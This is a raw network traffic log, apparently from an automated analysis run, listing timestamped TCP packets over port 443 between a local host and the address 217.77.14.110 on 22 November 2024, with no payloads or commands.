Nov 22, 2024 23:01:02.933159113 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.933229923 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.933240891 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.933290005 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.951122046 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.951152086 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.951200008 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.951209068 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.951251030 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.094600916 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.094630957 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.094728947 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.094744921 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.094789028 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.102363110 CET	443	49817	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.102601051 CET	443	49817	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.102674007 CET	49817	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.103091955 CET	49817	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.103107929 CET	443	49817	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.105447054 CET	49818	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.105530024 CET	443	49818	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.105659008 CET	49818	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.105861902 CET	49818	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.105895996 CET	443	49818	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.107412100 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.107436895 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.107501030 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.107508898 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.107554913 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.122231007 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.122256041 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.122339010 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.122351885 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.122400045 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.137114048 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.137130976 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.137202024 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.137212038 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.137257099 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.138991117 CET	443	49814	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.139220953 CET	443	49814	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.139295101 CET	49814	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.139745951 CET	49814	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.139782906 CET	443	49814	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.142750978 CET	49819	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.142780066 CET	443	49819	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.142859936 CET	49819	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.143105030 CET	49819	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.143119097 CET	443	49819	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.143923044 CET	443	49815	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.144140959 CET	443	49815	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.144202948 CET	49815	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.144686937 CET	49815	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.144701958 CET	443	49815	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.147404909 CET	49820	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.147435904 CET	443	49820	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.147532940 CET	49820	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.147795916 CET	49820	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.147810936 CET	443	49820	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.149993896 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.150010109 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.150090933 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.150104046 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.150150061 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.165796995 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.165837049 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.165930986 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.165941954 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.165992975 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.178770065 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.178786993 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.178919077 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.178927898 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.179040909 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.213924885 CET	443	49816	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.214123964 CET	443	49816	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.214214087 CET	49816	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.214632988 CET	49816	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.214673996 CET	443	49816	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.217180014 CET	49821	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.217267990 CET	443	49821	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.217394114 CET	49821	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.217653990 CET	49821	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.217690945 CET	443	49821	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.291663885 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.291685104 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.291774988 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.291785955 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.291824102 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.303662062 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.303678036 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.303756952 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.303765059 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.303809881 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.313448906 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.313476086 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.313621044 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.313630104 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.313819885 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.324476004 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.324492931 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.324579954 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.324588060 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.324672937 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.327670097 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.327749968 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.327755928 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.327766895 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.327857018 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.328007936 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.328018904 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.328033924 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.328073025 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.339776039 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.339839935 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.339860916 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.339880943 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.339920044 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.339940071 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.339941025 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.339992046 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.340029955 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.340029955 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.340038061 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.340082884 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.348726034 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.348768950 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.348798037 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.348859072 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.348877907 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.348932028 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.389714003 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.541796923 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.541821957 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.542006016 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.542032957 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.542083025 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.544811964 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.544842005 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.544888020 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.544908047 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.544914961 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.544964075 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.545007944 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.545042992 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.545068979 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.578500986 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.578551054 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.578632116 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.578649998 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.578706980 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.593667030 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.593688011 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.593761921 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.593771935 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.593832016 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.616286993 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.616394997 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.616401911 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.616410971 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.616458893 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.616745949 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.616760969 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.621552944 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.621603966 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.621700048 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.622198105 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.622211933 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.624392033 CET	49823	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.624485970 CET	443	49823	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.624569893 CET	49823	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.624870062 CET	49823	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.624907017 CET	443	49823	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.753895998 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.753926992 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.754049063 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.754115105 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.754184008 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.780981064 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.781022072 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.781095982 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.781115055 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.781145096 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.781167030 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.804277897 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.804317951 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.804389000 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.804410934 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.804439068 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.804464102 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.831268072 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.831306934 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.831391096 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.831406116 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.831434011 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.831459999 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.963469982 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.963506937 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.963597059 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.963624001 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.963685036 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.980644941 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.980674982 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.980789900 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:03.980806112 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:03.980868101 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.000317097 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.000372887 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.000449896 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.000466108 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.000575066 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.020009041 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.020034075 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.020107985 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.020122051 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.020185947 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.037040949 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.037065029 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.037143946 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.037159920 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.037219048 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.058167934 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.058193922 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.058253050 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.058267117 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.058300972 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.058320999 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.075122118 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.075167894 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.075222969 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.075241089 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.075273991 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.075294971 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.114263058 CET	49824	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.114311934 CET	443	49824	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.114417076 CET	49824	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.114687920 CET	49824	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.114708900 CET	443	49824	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.279807091 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.279839039 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.279886961 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.279947042 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.279972076 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.280009031 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.280030966 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.284316063 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.284364939 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.284418106 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.284441948 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.284473896 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.284497976 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.288125992 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.288218021 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.288223028 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.288276911 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.288538933 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.288568020 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.657742977 CET	443	49818	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.658305883 CET	49818	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.658373117 CET	443	49818	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.658674002 CET	443	49820	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.658906937 CET	443	49818	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.660881042 CET	49820	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.660904884 CET	443	49820	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.661267996 CET	49818	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.661374092 CET	443	49818	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.662396908 CET	443	49820	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.662466049 CET	49820	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.663249969 CET	49818	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.663625956 CET	49820	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.663784981 CET	49820	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.664877892 CET	443	49820	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.668916941 CET	443	49819	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.669207096 CET	49819	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.669229031 CET	443	49819	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.669697046 CET	443	49819	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.671451092 CET	49819	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.671528101 CET	443	49819	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.671581030 CET	49819	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.683450937 CET	443	49821	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.685612917 CET	49821	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.685678959 CET	443	49821	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.687153101 CET	443	49821	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.687236071 CET	49821	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.688414097 CET	49821	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.688500881 CET	443	49821	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.688553095 CET	49821	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.703361034 CET	443	49818	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.712677956 CET	49820	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.712688923 CET	443	49820	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.712709904 CET	49819	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.712722063 CET	443	49819	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.728823900 CET	49821	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.728887081 CET	443	49821	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:04.760771990 CET	49820	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:04.776710033 CET	49821	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.204006910 CET	443	49823	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.204320908 CET	49823	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.204385996 CET	443	49823	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.204814911 CET	443	49823	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.205151081 CET	49823	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.205224037 CET	443	49823	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.205297947 CET	49823	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.251338005 CET	443	49823	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.258785009 CET	443	49820	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.258821011 CET	443	49821	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.258876085 CET	443	49820	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.258900881 CET	443	49821	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.258944035 CET	49820	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.258958101 CET	443	49818	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.258979082 CET	49821	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.259017944 CET	443	49819	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.259114027 CET	443	49818	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.259172916 CET	49818	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.259207010 CET	443	49819	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.259263039 CET	49819	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.259804964 CET	49818	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.259828091 CET	443	49818	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.260668039 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.260787010 CET	49820	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.260808945 CET	443	49820	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.261084080 CET	49821	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.261106014 CET	443	49821	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.261642933 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.261655092 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.261809111 CET	49819	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.261831045 CET	443	49819	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.262685061 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.262765884 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.263324976 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.263381958 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.263497114 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.263504028 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.318736076 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.427532911 CET	443	49824	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.427854061 CET	49824	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.427874088 CET	443	49824	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.428229094 CET	443	49824	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.428710938 CET	49824	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.428778887 CET	443	49824	217.77.14.110	192.168.2.16
